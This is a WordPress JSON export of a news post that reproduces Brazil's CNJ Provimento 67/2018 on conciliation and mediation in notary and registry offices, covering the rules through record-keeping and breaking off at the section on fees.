{"id":4430,"date":"2018-03-28T18:23:08","date_gmt":"2018-03-28T18:23:08","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=4430"},"modified":"2018-03-28T18:23:08","modified_gmt":"2018-03-28T18:23:08","slug":"provimento-no-672018-do-cnj-disciplina-conciliacao-e-mediacao-em-cartorios","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/provimento-no-672018-do-cnj-disciplina-conciliacao-e-mediacao-em-cartorios\/","title":{"rendered":"Provimento n\u00ba 67\/2018 do CNJ disciplina concilia\u00e7\u00e3o e media\u00e7\u00e3o em cart\u00f3rios"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;Disp\u00f5e sobre os procedimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o nos servi\u00e7os notariais e de registro do Brasil.\/p
\np style=text-align: justify;O CORREGEDOR NACIONAL DA JUSTI\u00c7A, usando de suas atribui\u00e7\u00f5es constitucionais, legais e regimentais e\/p
\np style=text-align: justify;CONSIDERANDO o poder de fiscaliza\u00e7\u00e3o e de normatiza\u00e7\u00e3o do Poder Judici\u00e1rio dos atos praticados por seus \u00f3rg\u00e3os (art. 103-B, \u00a7 4\u00ba, I, II e III, da Constitui\u00e7\u00e3o Federal de 1988);\/p
\np style=text-align: justify;CONSIDERANDO a compet\u00eancia do Poder Judici\u00e1rio de fiscalizar os servi\u00e7os notariais e de registro (arts. 103-B, \u00a7 4\u00ba, I e III, e 236, \u00a7 1\u00ba, da Constitui\u00e7\u00e3o Federal);\/p
\np style=text-align: justify;CONSIDERANDO a compet\u00eancia da Corregedoria Nacional de Justi\u00e7a de expedir provimentos e outros atos normativos destinados ao aperfei\u00e7oamento das atividades dos servi\u00e7os notariais e de registro (art. 8\u00ba, X, do Regimento Interno do Conselho Nacional de Justi\u00e7a);\/p
\np style=text-align: justify;CONSIDERANDO a obriga\u00e7\u00e3o dos not\u00e1rios e registradores de cumprir as normas t\u00e9cnicas estabelecidas pelo Poder Judici\u00e1rio (arts. 37 e 38 da Lei n. 8.935, de 18 de novembro de 1994);\/p
\np style=text-align: justify;CONSIDERANDO a incumb\u00eancia do Conselho Nacional de Justi\u00e7a de consolidar uma pol\u00edtica p\u00fablica permanente de incentivo e aperfei\u00e7oamento dos mecanismos consensuais de solu\u00e7\u00e3o de lit\u00edgios (Resolu\u00e7\u00e3o CNJ n. 125, de 29 de novembro de 2010);\/p
\np style=text-align: justify;CONSIDERANDO a efetividade da concilia\u00e7\u00e3o e da media\u00e7\u00e3o como instrumentos de pacifica\u00e7\u00e3o social, solu\u00e7\u00e3o e preven\u00e7\u00e3o de lit\u00edgios;\/p
\np style=text-align: justify;CONSIDERANDO a necessidade de organiza\u00e7\u00e3o e uniformiza\u00e7\u00e3o de normas e procedimentos afetos aos servi\u00e7os de concilia\u00e7\u00e3o, media\u00e7\u00e3o e a outros m\u00e9todos consensuais de solu\u00e7\u00e3o de conflitos, a serem prestados, de forma facultativa, pelos servi\u00e7os notariais e de registro;\/p
\np style=text-align: justify;CONSIDERANDO as disposi\u00e7\u00f5es do C\u00f3digo de Processo Civil, da Lei n. 13.140, de 26 de junho de 2015, as sugest\u00f5es e aquiesc\u00eancia da Comiss\u00e3o de Acesso \u00e0 Justi\u00e7a e Cidadania (CAJC), do Conselho Nacional de Justi\u00e7a, bem como a decis\u00e3o proferida nos autos do Pedido de Provid\u00eancias n. 0005163-92.2017.2.00.0000,\/p
\np style=text-align: justify;strongRESOLVE:\/strong
\nSe\u00e7\u00e3o I
\nDas Regras Gerais\/p
\np style=text-align: justify;Art. 1\u00ba Dispor sobre os procedimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o nos servi\u00e7os notariais e de registro do Brasil.\/p
\np style=text-align: justify;Art. 2\u00ba Os procedimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o nos servi\u00e7os notariais e de registro ser\u00e3o facultativos e dever\u00e3o observar os requisitos previstos neste provimento, sem preju\u00edzo do disposto na Lei n. 13.140\/2015.\/p
\np style=text-align: justify;Art. 3\u00ba As corregedorias-gerais de justi\u00e7a dos Estados e do Distrito Federal e dos Territ\u00f3rios manter\u00e3o em seu site listagem p\u00fablica dos servi\u00e7os notariais e de registro autorizados para os procedimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o, indicando os nomes dos conciliadores e mediadores, de livre escolha das partes.\/p
\np style=text-align: justify;Art. 4\u00ba O processo de autoriza\u00e7\u00e3o dos servi\u00e7os notariais e de registro para a realiza\u00e7\u00e3o de concilia\u00e7\u00e3o e de media\u00e7\u00e3o dever\u00e1 ser regulamentado pelos N\u00facleos Permanentes de M\u00e9todos Consensuais de Solu\u00e7\u00e3o de Conflitos (NUPEMEC) e pelas corregedorias-gerais de justi\u00e7a (CGJ) dos Estados e do Distrito Federal e dos Territ\u00f3rios.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Os servi\u00e7os notariais e de registro poder\u00e3o solicitar autoriza\u00e7\u00e3o espec\u00edfica para que o servi\u00e7o seja prestado, sob supervis\u00e3o do delegat\u00e1rio, por no m\u00e1ximo cinco escreventes habilitados.\/p
\np style=text-align: justify;Art. 5\u00ba Os procedimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o ser\u00e3o fiscalizados pela CGJ e pelo juiz coordenador do Centro Judici\u00e1rio de Solu\u00e7\u00e3o de Conflitos e Cidadania (CEJUSC) da jurisdi\u00e7\u00e3o a que estejam vinculados os servi\u00e7os notariais e de registro.\/p
\np style=text-align: justify;1\u00ba O NUPEMEC manter\u00e1 cadastro de conciliadores e mediadores habilitados, do qual dever\u00e3o constar dados relevantes de atua\u00e7\u00e3o, tais como o n\u00famero de causas de que participou, o sucesso ou insucesso da atividade, a mat\u00e9ria sobre a qual versou a controv\u00e9rsia, al\u00e9m de outras informa\u00e7\u00f5es que julgar relevantes.\/p
\np style=text-align: justify;2\u00ba Os dados colhidos na forma do par\u00e1grafo anterior ser\u00e3o classificados sistematicamente pelo NUPEMEC, que os publicar\u00e1, ao menos anualmente, para conhecimento da popula\u00e7\u00e3o e para fins estat\u00edsticos e de avalia\u00e7\u00e3o da concilia\u00e7\u00e3o e da media\u00e7\u00e3o pelos servi\u00e7os notariais e de registro e de seus conciliadores e mediadores.\/p
\np style=text-align: justify;Art. 6\u00ba Somente poder\u00e3o atuar como conciliadores ou mediadores aqueles que forem formados em curso para o desempenho das fun\u00e7\u00f5es, observadas as diretrizes curriculares estabelecidas no Anexo I da Resolu\u00e7\u00e3o CNJ n. 125\/2010, com a reda\u00e7\u00e3o dada pela Emenda n. 2, de 8 de mar\u00e7o de 2016.\/p
\np style=text-align: justify;1\u00ba O curso de forma\u00e7\u00e3o mencionado no caput deste artigo ser\u00e1 custeado pelos servi\u00e7os notariais e de registro e ser\u00e1 ofertado pelas escolas judiciais ou por institui\u00e7\u00e3o formadora de mediadores judiciais, nos termos do art. 11 da Lei n. 13.140\/2015, regulamentada pela Resolu\u00e7\u00e3o ENFAM n. 6 de 21 de novembro de 2016.\/p
\np style=text-align: justify;2\u00ba Os tribunais de justi\u00e7a dos Estados e do Distrito Federal e dos Territ\u00f3rios poder\u00e3o credenciar associa\u00e7\u00f5es, escolas e institutos vinculados aos servi\u00e7os notariais e de registro n\u00e3o integrantes do Poder Judici\u00e1rio para que realizem, sob supervis\u00e3o, o curso de forma\u00e7\u00e3o mencionado no caput deste artigo, desde que respeitados os par\u00e2metros estabelecidos pela Resolu\u00e7\u00e3o ENFAM n. 6\/2016.\/p
\np style=text-align: justify;3\u00ba Os conciliadores e mediadores autorizados a prestar o servi\u00e7o dever\u00e3o, a cada 2 (dois) anos, contados da autoriza\u00e7\u00e3o, comprovar \u00e0 CGJ e ao NUPEMEC a que est\u00e3o vinculados a realiza\u00e7\u00e3o de curso de aperfei\u00e7oamento em concilia\u00e7\u00e3o e em media\u00e7\u00e3o.\/p
\np style=text-align: justify;4\u00ba A admiss\u00e3o, como conciliadores ou mediadores, daqueles que comprovarem a realiza\u00e7\u00e3o do curso de forma\u00e7\u00e3o mencionado no caput deste artigo promovido por entidade n\u00e3o integrante do Poder Judici\u00e1rio e anterior \u00e0 edi\u00e7\u00e3o deste provimento ser\u00e1 condicionada a pr\u00e9vio treinamento e aperfei\u00e7oamento (art. 12, \u00a7 1\u00ba, da Resolu\u00e7\u00e3o CNJ n. 125\/2010).\/p
\np style=text-align: justify;Art. 7\u00ba O conciliador e o mediador observar\u00e3o os princ\u00edpios e regras previstos na Lei n. 13.140\/2015, no art. 166 do CPC e no C\u00f3digo de \u00c9tica de Conciliadores e Mediadores (Anexo III da Resolu\u00e7\u00e3o CNJ n. 125\/2010).\/p
\np style=text-align: justify;Art. 8\u00ba Toda e qualquer informa\u00e7\u00e3o revelada na sess\u00e3o de concilia\u00e7\u00e3o ou media\u00e7\u00e3o ser\u00e1 confidencial, salvo as hip\u00f3teses do art. 30 da Lei n. 13.140\/2015.\/p
\np style=text-align: justify;1\u00ba O dever de confidencialidade aplica-se ao conciliador, ao mediador, \u00e0s partes, a seus prepostos, advogados, assessores t\u00e9cnicos e a outras pessoas que tenham, direta ou indiretamente, participado dos procedimentos.\/p
\np style=text-align: justify;2\u00ba N\u00e3o ser\u00e1 protegida pela regra de confidencialidade a informa\u00e7\u00e3o relativa \u00e0 ocorr\u00eancia de crime de a\u00e7\u00e3o p\u00fablica.\/p
\np style=text-align: justify;3\u00ba A confidencialidade n\u00e3o afastar\u00e1 o dever de prestar informa\u00e7\u00f5es \u00e0 administra\u00e7\u00e3o tribut\u00e1ria.\/p
\np style=text-align: justify;4\u00ba Ser\u00e3o vedados para fim diverso daquele expressamente deliberado pelas partes o registro, a divulga\u00e7\u00e3o e a utiliza\u00e7\u00e3o das informa\u00e7\u00f5es apresentadas no curso do procedimento.\/p
\np style=text-align: justify;Art. 9\u00ba Aos que atuarem como conciliadores e mediadores aplicar-se-\u00e3o as regras de impedimento e suspei\u00e7\u00e3o, nos termos do disposto nos arts. 148, II, 167, \u00a7 5\u00ba, 172 e 173 do CPC e 5\u00ba a 8\u00ba da Lei n. 11.340\/2015, devendo, quando constatadas essas circunst\u00e2ncias, ser informadas aos envolvidos, interrompendo-se a sess\u00e3o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Not\u00e1rios e registradores poder\u00e3o prestar servi\u00e7os profissionais relacionados com suas atribui\u00e7\u00f5es \u00e0s partes envolvidas em sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o de sua responsabilidade.\/p
\np style=text-align: justify;strongSe\u00e7\u00e3o II\/strong
\nDas Partes\/p
\np style=text-align: justify;Art. 10. Podem participar da concilia\u00e7\u00e3o e da media\u00e7\u00e3o como requerente ou requerido a pessoa natural absolutamente capaz, a pessoa jur\u00eddica e os entes despersonalizados a que a lei confere capacidade postulat\u00f3ria.\/p
\np style=text-align: justify;1\u00ba A pessoa natural poder\u00e1 ser representada por procurador devidamente constitu\u00eddo, mediante instrumento p\u00fablico ou particular com poderes para transigir e com firma reconhecida.\/p
\np style=text-align: justify;2\u00ba A pessoa jur\u00eddica e o empres\u00e1rio individual poder\u00e3o ser representados por preposto, munido de carta de preposi\u00e7\u00e3o com poderes para transigir e com firma reconhecida, sem necessidade da exist\u00eancia de v\u00ednculo empregat\u00edcio.\/p
\np style=text-align: justify;3\u00ba Dever\u00e1 ser exigida da pessoa jur\u00eddica a prova de representa\u00e7\u00e3o mediante a exibi\u00e7\u00e3o dos seus atos constitutivos.\/p
\np style=text-align: justify;4\u00ba Os entes despersonalizados poder\u00e3o ser representados conforme previsto em lei.\/p
\np style=text-align: justify;Art. 11. As partes poder\u00e3o ser assistidas por advogados ou defensores p\u00fablicos munidos de instrumento de mandato com poderes especiais para o ato.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Comparecendo uma das partes desacompanhada de advogado ou de defensor p\u00fablico, o conciliador ou mediador\u00a0 suspender\u00e1 o procedimento at\u00e9 que todas estejam devidamente assistidas.\/p
\np style=text-align: justify;strongSe\u00e7\u00e3o III\/strong
\nDo Objeto
\nArt. 12. Os direitos dispon\u00edveis e os indispon\u00edveis que admitam transa\u00e7\u00e3o poder\u00e3o ser objeto de concilia\u00e7\u00e3o e de media\u00e7\u00e3o, o qual poder\u00e1 versar sobre todo o conflito ou parte dele.\/p
\np style=text-align: justify;1\u00ba A concilia\u00e7\u00e3o e a media\u00e7\u00e3o que envolvam direitos indispon\u00edveis, mas transig\u00edveis, dever\u00e3o ser homologadas em ju\u00edzo, na forma do art. 725, VIII, do CPC e do art. 3\u00ba, \u00a7 2\u00ba, da Lei n. 13.140\/2015.\/p
\np style=text-align: justify;2\u00ba Na hip\u00f3tese do par\u00e1grafo anterior, o cart\u00f3rio encaminhar\u00e1 ao ju\u00edzo competente o termo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o e os documentos que instru\u00edram o procedimento e, posteriormente, em caso de homologa\u00e7\u00e3o, entregar\u00e1 o termo homologado diretamente \u00e0s partes.\/p
\np style=text-align: justify;strongSe\u00e7\u00e3o IV\/strong
\nDo Requerimento\/p
\np style=text-align: justify;Art. 13. O requerimento de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o poder\u00e1 ser dirigido a qualquer servi\u00e7o notarial ou de registro de acordo com as respectivas compet\u00eancias (art. 42 da Lei n. 13.140\/2015).\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Admitir-se-\u00e1 a formula\u00e7\u00e3o de requerimento conjunto firmado pelos interessados.\/p
\np style=text-align: justify;Art. 14. S\u00e3o requisitos m\u00ednimos do requerimento de realiza\u00e7\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o:\/p
\np style=text-align: justify;I \u2013 qualifica\u00e7\u00e3o do requerente, em especial, o nome ou denomina\u00e7\u00e3o social, endere\u00e7o, telefone e e-mail de contato, n\u00famero da carteira de identidade e do cadastro de pessoas f\u00edsicas (CPF) ou do cadastro nacional de pessoa jur\u00eddica (CNPJ) na Secretaria da Receita Federal, conforme o caso;
\nII \u2013 dados suficientes da outra parte para que seja poss\u00edvel sua identifica\u00e7\u00e3o e convite;
\nIII \u2013 a indica\u00e7\u00e3o de meio id\u00f4neo de notifica\u00e7\u00e3o da outra parte;
\nIV \u2013 narrativa sucinta do conflito e, se houver, proposta de acordo;
\nV \u2013 outras informa\u00e7\u00f5es relevantes, a crit\u00e9rio do requerente.\/p
\np style=text-align: justify;1\u00ba Para os fins do caput deste artigo, os servi\u00e7os notariais e de registro poder\u00e3o disponibilizar aos usu\u00e1rios, por interm\u00e9dio da rede mundial de computadores ou presencialmente, um formul\u00e1rio-padr\u00e3o.\/p
\np style=text-align: justify;2\u00ba Caber\u00e1 ao requerente oferecer tantas c\u00f3pias do requerimento quantas forem as partes interessadas, caso n\u00e3o opte pelo meio eletr\u00f4nico como forma de notifica\u00e7\u00e3o.\/p
\np style=text-align: justify;3\u00ba Ser\u00e3o de inteira responsabilidade do requerente a veracidade e corre\u00e7\u00e3o dos dados fornecidos relacionados nos incisos I a V deste artigo.\/p
\np style=text-align: justify;Art. 15. Ap\u00f3s o recebimento e protocolo do requerimento, se, em exame formal, for considerado n\u00e3o preenchido algum dos requisitos previstos no art. 14 deste provimento, o requerente ser\u00e1 notificado, preferencialmente por meio eletr\u00f4nico, para sanar o v\u00edcio no prazo de 10 (dez) dias, marcando-se nova data para audi\u00eancia, se necess\u00e1rio.\/p
\np style=text-align: justify;1\u00ba Persistindo o n\u00e3o cumprimento de qualquer dos requisitos, o conciliador ou o mediador rejeitar\u00e1 o pedido.\/p
\np style=text-align: justify;2\u00ba A in\u00e9rcia do requerente acarretar\u00e1 o arquivamento do pedido por aus\u00eancia de interesse.\/p
\np style=text-align: justify;Art. 16. No ato do requerimento, o requerente pagar\u00e1 emolumentos referentes a uma sess\u00e3o de media\u00e7\u00e3o de at\u00e9 60 (sessenta) minutos.\/p
\np style=text-align: justify;Art. 17. A distribui\u00e7\u00e3o do requerimento ser\u00e1 anotada no livro de protocolo de concilia\u00e7\u00e3o e de media\u00e7\u00e3o conforme a ordem cronol\u00f3gica de apresenta\u00e7\u00e3o.\/p
\np style=text-align: justify;Art. 18. Ao receber o requerimento, o servi\u00e7o notarial ou de registro designar\u00e1, de imediato, data e hora para a realiza\u00e7\u00e3o da sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o e dar\u00e1 ci\u00eancia dessas informa\u00e7\u00f5es ao apresentante do pedido, dispensando-se a notifica\u00e7\u00e3o do requerente.\/p
\np style=text-align: justify;1\u00ba A ci\u00eancia a que se refere o caput deste artigo recair\u00e1 na pessoa do apresentante do requerimento, ainda que n\u00e3o seja ele o requerente.\/p
\np style=text-align: justify;2\u00ba Ao apresentante do requerimento ser\u00e1 dado recibo do protocolo e de todos os valores recebidos a t\u00edtulo de dep\u00f3sito pr\u00e9vio.\/p
\np style=text-align: justify;Art. 19. A notifica\u00e7\u00e3o da parte requerida ser\u00e1 realizada por qualquer meio id\u00f4neo de comunica\u00e7\u00e3o, devendo ocorrer preferencialmente por meio eletr\u00f4nico, por carta com AR ou notifica\u00e7\u00e3o por oficial de registro de t\u00edtulos e documentos do domic\u00edlio de quem deva receb\u00ea-la.\/p
\np style=text-align: justify;1\u00ba O servi\u00e7o notarial ou de registro informar\u00e1 ao requerente os meios id\u00f4neos de comunica\u00e7\u00e3o permitidos e respectivos custos.\/p
\np style=text-align: justify;2\u00ba O requerente arcar\u00e1 com o custo da notifica\u00e7\u00e3o; no entanto, se for feita por meio eletr\u00f4nico, n\u00e3o ser\u00e1 cobrada.\/p
\np style=text-align: justify;3\u00ba O custo do envio da carta com AR n\u00e3o poder\u00e1 ser superior ao praticado pela Empresa Brasileira de Correios e Tel\u00e9grafos e o custo da notifica\u00e7\u00e3o por oficial de registro de t\u00edtulos e documentos ser\u00e1 o previsto na tabela de emolumentos.\/p
\np style=text-align: justify;Art. 20. O servi\u00e7o notarial ou de registro remeter\u00e1, com notifica\u00e7\u00e3o, c\u00f3pia do requerimento \u00e0 parte requerida, esclarecendo, desde logo, que sua participa\u00e7\u00e3o na sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o ser\u00e1 facultativa e conceder\u00e1 prazo de 10 (dez) dias para que, querendo, indique, por escrito, nova data e hor\u00e1rio, caso n\u00e3o possa comparecer \u00e0 sess\u00e3o designada.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Para a conveni\u00eancia dos trabalhos, o servi\u00e7o notarial ou de registro poder\u00e1 manter contato com as partes no intuito de designar data de comum acordo para a sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o.\/p
\np style=text-align: justify;Se\u00e7\u00e3o V
\nDas Sess\u00f5es
\nArt. 21. Os servi\u00e7os notariais e de registro manter\u00e3o espa\u00e7o reservado em suas depend\u00eancias para a realiza\u00e7\u00e3o das sess\u00f5es de concilia\u00e7\u00e3o e de media\u00e7\u00e3o durante o hor\u00e1rio de atendimento ao p\u00fablico.\/p
\np style=text-align: justify;1\u00ba Na data e hora designados para a realiza\u00e7\u00e3o da sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o, realizado o chamamento nominal das partes e constatado o n\u00e3o comparecimento de qualquer delas, o requerimento ser\u00e1 arquivado.\/p
\np style=text-align: justify;2\u00ba N\u00e3o se aplicar\u00e1 o disposto no par\u00e1grafo anterior se estiverem preenchidos, cumulativamente, os seguintes requisitos:\/p
\np style=text-align: justify;I \u2013 pluralidade de requerentes ou de requeridos;
\nII \u2013 comparecimento de ao menos duas partes contr\u00e1rias com o intuito de transigir;
\nIII \u2013 identifica\u00e7\u00e3o formal da viabilidade de eventual acordo.\/p
\np style=text-align: justify;3\u00ba A sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o ter\u00e1 efic\u00e1cia apenas entre as partes presentes.\/p
\np style=text-align: justify;Art. 22. Obtido o acordo, ser\u00e1 lavrado termo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o e as partes presentes assinar\u00e3o a \u00faltima folha do termo, rubricando as demais. Finalizado o procedimento, o termo ser\u00e1 arquivado no livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Ser\u00e1 fornecida via do termo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o a cada uma das partes presentes \u00e0 sess\u00e3o, que ser\u00e1 considerado documento p\u00fablico com for\u00e7a de t\u00edtulo executivo extrajudicial, nos termos do art. 784, IV, do CPC.\/p
\np style=text-align: justify;Art. 23. A n\u00e3o obten\u00e7\u00e3o de acordo n\u00e3o impedir\u00e1 a realiza\u00e7\u00e3o de novas sess\u00f5es de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o at\u00e9 que finalizadas as tratativas.\/p
\np style=text-align: justify;Art. 24. O pedido ser\u00e1 arquivado, independentemente de anu\u00eancia da parte contr\u00e1ria, se o requerente solicitar, a qualquer tempo e por escrito, a desist\u00eancia do pedido.\/p
\np style=text-align: justify;1\u00ba Solicitada a desist\u00eancia, o requerimento ser\u00e1 arquivado em pasta pr\u00f3pria, n\u00e3o subsistindo a obrigatoriedade de sua conserva\u00e7\u00e3o quando for microfilmado ou gravado por processo eletr\u00f4nico de imagens.\/p
\np style=text-align: justify;2\u00ba Presumir-se-\u00e1 a desist\u00eancia do requerimento se o requerente, ap\u00f3s notificado, n\u00e3o se manifestar no prazo de 30 (trinta) dias.\/p
\np style=text-align: justify;Art. 25. Em caso de n\u00e3o obten\u00e7\u00e3o do acordo ou de desist\u00eancia do requerimento antes da sess\u00e3o de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o, o procedimento ser\u00e1 arquivado pelo servi\u00e7o notarial ou de registro, que anotar\u00e1 essa circunst\u00e2ncia no livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o.\/p
\np style=text-align: justify;Se\u00e7\u00e3o VI
\nDos Livros
\nArt. 26. Os servi\u00e7os notariais e de registro optantes pela presta\u00e7\u00e3o do servi\u00e7o criar\u00e3o livro de protocolo espec\u00edfico para recebimento de requerimentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o.\/p
\np style=text-align: justify;1\u00ba O livro de protocolo, com trezentas folhas, ser\u00e1 aberto, numerado, autenticado e encerrado pelo oficial do servi\u00e7o notarial e de registro, podendo ser utilizado, para tal fim, processo mec\u00e2nico de autentica\u00e7\u00e3o previamente aprovado pela autoridade judici\u00e1ria competente.\/p
\np style=text-align: justify;2\u00ba Do livro de protocolo dever\u00e3o constar os seguintes dados:\/p
\np style=text-align: justify;I \u2013 o n\u00famero de ordem, que seguir\u00e1 indefinidamente nos livros da mesma esp\u00e9cie;
\nII \u2013 a data da apresenta\u00e7\u00e3o do requerimento;
\nIII \u2013 o nome do requerente;
\nIV \u2013 a natureza da media\u00e7\u00e3o.\/p
\np style=text-align: justify;Art. 27. Os servi\u00e7os notariais e de registro que optarem por prestar o servi\u00e7o dever\u00e3o instituir livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o, cuja abertura atender\u00e1 \u00e0s normas estabelecidas pelas corregedorias-gerais de justi\u00e7a dos Estados e do Distrito Federal e dos Territ\u00f3rios.\/p
\np style=text-align: justify;1\u00ba Os termos de audi\u00eancia de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o ser\u00e3o lavrados em livro exclusivo, vedada sua utiliza\u00e7\u00e3o para outros fins.\/p
\np style=text-align: justify;2\u00ba Os livros obedecer\u00e3o aos modelos de uso corrente, aprovados pelo ju\u00edzo da vara de registros p\u00fablicos.\/p
\np style=text-align: justify;3\u00ba Os n\u00fameros de ordem dos termos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o n\u00e3o ser\u00e3o interrompidos ao final de cada livro, mas continuar\u00e3o indefinidamente nos seguintes da mesma esp\u00e9cie.\/p
\np style=text-align: justify;4\u00ba Poder\u00e1 ser adotado simultaneamentemais de um livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o para lavratura de audi\u00eancias por meio eletr\u00f4nico.\/p
\np style=text-align: justify;5\u00ba Dever\u00e1 ser adotado pelos servi\u00e7os notariais e de registro livro de carga f\u00edsico, no qual ser\u00e3o correlacionados os escreventes e os livros quando o servi\u00e7o utilizar, concomitantemente, mais de um livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o.\/p
\np style=text-align: justify;6\u00ba O livro sob a responsabilidade de um escrevente \u00e9 de seu uso exclusivo, permitida a utiliza\u00e7\u00e3o por outro escrevente apenas com autoriza\u00e7\u00e3o pr\u00e9via do not\u00e1rio e do registrador, lan\u00e7ada e datada no livro de carga.\/p
\np style=text-align: justify;Art. 28. O livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o ter\u00e1 trezentas folhas, permitido o acr\u00e9scimo apenas para evitar a inconveni\u00eancia de cis\u00e3o do ato.\/p
\np style=text-align: justify;1\u00ba Al\u00e9m do timbre do servi\u00e7o notarial e de registro, todas as folhas conter\u00e3o o n\u00famero do livro e do termo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o correspondentes, numeradas em ordem crescente por sistema mec\u00e2nico ou eletr\u00f4nico.\/p
\np style=text-align: justify;2\u00ba Eventual erro material na numera\u00e7\u00e3o das folhas poder\u00e1 ser corrigido pelo not\u00e1rio ou registrador, devendo constar do termo de encerramento.\/p
\np style=text-align: justify;3\u00ba O livro eletr\u00f4nico somente poder\u00e1 ser adotado por sistema que garanta a verifica\u00e7\u00e3o da exist\u00eancia e conte\u00fado do ato, subordinando se \u00e0s mesmas regras de lavratura atinentes ao livro f\u00edsico.\/p
\np style=text-align: justify;Art. 29. Nos termos de audi\u00eancias de concilia\u00e7\u00e3o e de media\u00e7\u00e3o lavradas em livro de folhas soltas, as partes lan\u00e7ar\u00e3o a assinatura no final da \u00faltima, rubricando as demais.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Se os declarantes ou participantes n\u00e3o puderem, por alguma circunst\u00e2ncia, assinar, far-se-\u00e1 declara\u00e7\u00e3o no termo, assinando a rogo outra pessoa e apondo-se \u00e0 margem do ato a impress\u00e3o datilosc\u00f3pica da que n\u00e3o assinar.\/p
\np style=text-align: justify;Art. 30. As folhas soltas utilizadas ser\u00e3o acondicionadas em pasta pr\u00f3pria, correspondente ao livro a que perten\u00e7am, at\u00e9 a encaderna\u00e7\u00e3o, que ocorrer\u00e1 no per\u00edodo de at\u00e9 60 (sessenta) dias subsequentes \u00e0 data do encerramento.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. O encerramento ser\u00e1 feito imediatamente ap\u00f3s a lavratura do \u00faltimo termo de audi\u00eancia, ainda que pendente o decurso do prazo previsto no caput deste artigo para ultima\u00e7\u00e3o do ato previamente praticado e n\u00e3o subscrito.\/p
\np style=text-align: justify;Art. 31. O livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o conter\u00e1 \u00edndice alfab\u00e9tico com a indica\u00e7\u00e3o dos nomes das partes interessadas presentes\u00a0\u00e0 sess\u00e3o, devendo constar o n\u00famero do CPF\/CNPJ \u2013 ou, na sua falta, o n\u00famero de documento de identidade \u2013 e a refer\u00eancia ao livro e folha em que foi lavrado o termo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. Os \u00edndices poder\u00e3o ser elaborados pelo sistema de fichas, microfichas ou eletr\u00f4nico, em que ser\u00e3o anotados os dados das partes envolvidas nos procedimentos de media\u00e7\u00e3o ou de concilia\u00e7\u00e3o.\/p
\np style=text-align: justify;Art. 32. O livro e qualquer documento oriundo de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o extrajudicial dever\u00e3o permanecer no of\u00edcio e quaisquer\u00a0dilig\u00eancias judiciais ou extrajudiciais que exigirem sua apresenta\u00e7\u00e3o ser\u00e3o realizadas, sempre que poss\u00edvel, no pr\u00f3prio of\u00edcio, salvo por determina\u00e7\u00e3o judicial, caso em que o documento ou o livro poder\u00e1 deixar o servi\u00e7o extrajudicial.\/p
\np style=text-align: justify;Art. 33. Os servi\u00e7os notariais e de registro dever\u00e3o manter em seguran\u00e7a permanente os livros e documentos de concilia\u00e7\u00e3o e de media\u00e7\u00e3o, respondendo pela ordem, guarda e conserva\u00e7\u00e3o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. O livro de concilia\u00e7\u00e3o e de media\u00e7\u00e3o poder\u00e1 ser escriturado em meio eletr\u00f4nico e o traslado do termo respectivo poder\u00e1 ser disponibilizado na rede mundial de computadores para acesso restrito, mediante a utiliza\u00e7\u00e3o de c\u00f3digo espec\u00edfico fornecido \u00e0s partes.\/p
\np style=text-align: justify;Art. 34. Os documentos eventualmente apresentados pelas partes para a instru\u00e7\u00e3o da concilia\u00e7\u00e3o ou da media\u00e7\u00e3o ser\u00e3o examinados\u00a0e devolvidos a seus titulares durante a sess\u00e3o, devendo os servi\u00e7os notariais e de registro manter em arquivo pr\u00f3prio, al\u00e9m do requerimento firmado pelas partes, todos os documentos que julgar pertinentes.\/p
\np style=text-align: justify;Art. 35. Os servi\u00e7os notariais e de registro observar\u00e3o o prazo m\u00ednimo de 5 (cinco) anos para arquivamento dos documentos relativos a concilia\u00e7\u00e3o e media\u00e7\u00e3o.\/p
\np style=text-align: justify;Par\u00e1grafo \u00fanico. N\u00e3o subsistir\u00e1 a obrigatoriedade de conserva\u00e7\u00e3o dos documentos microfilmados ou gravados por processo eletr\u00f4nico de imagens.\/p
\np style=text-align: justify;Se\u00e7\u00e3o VII
\nDos Emolumentos
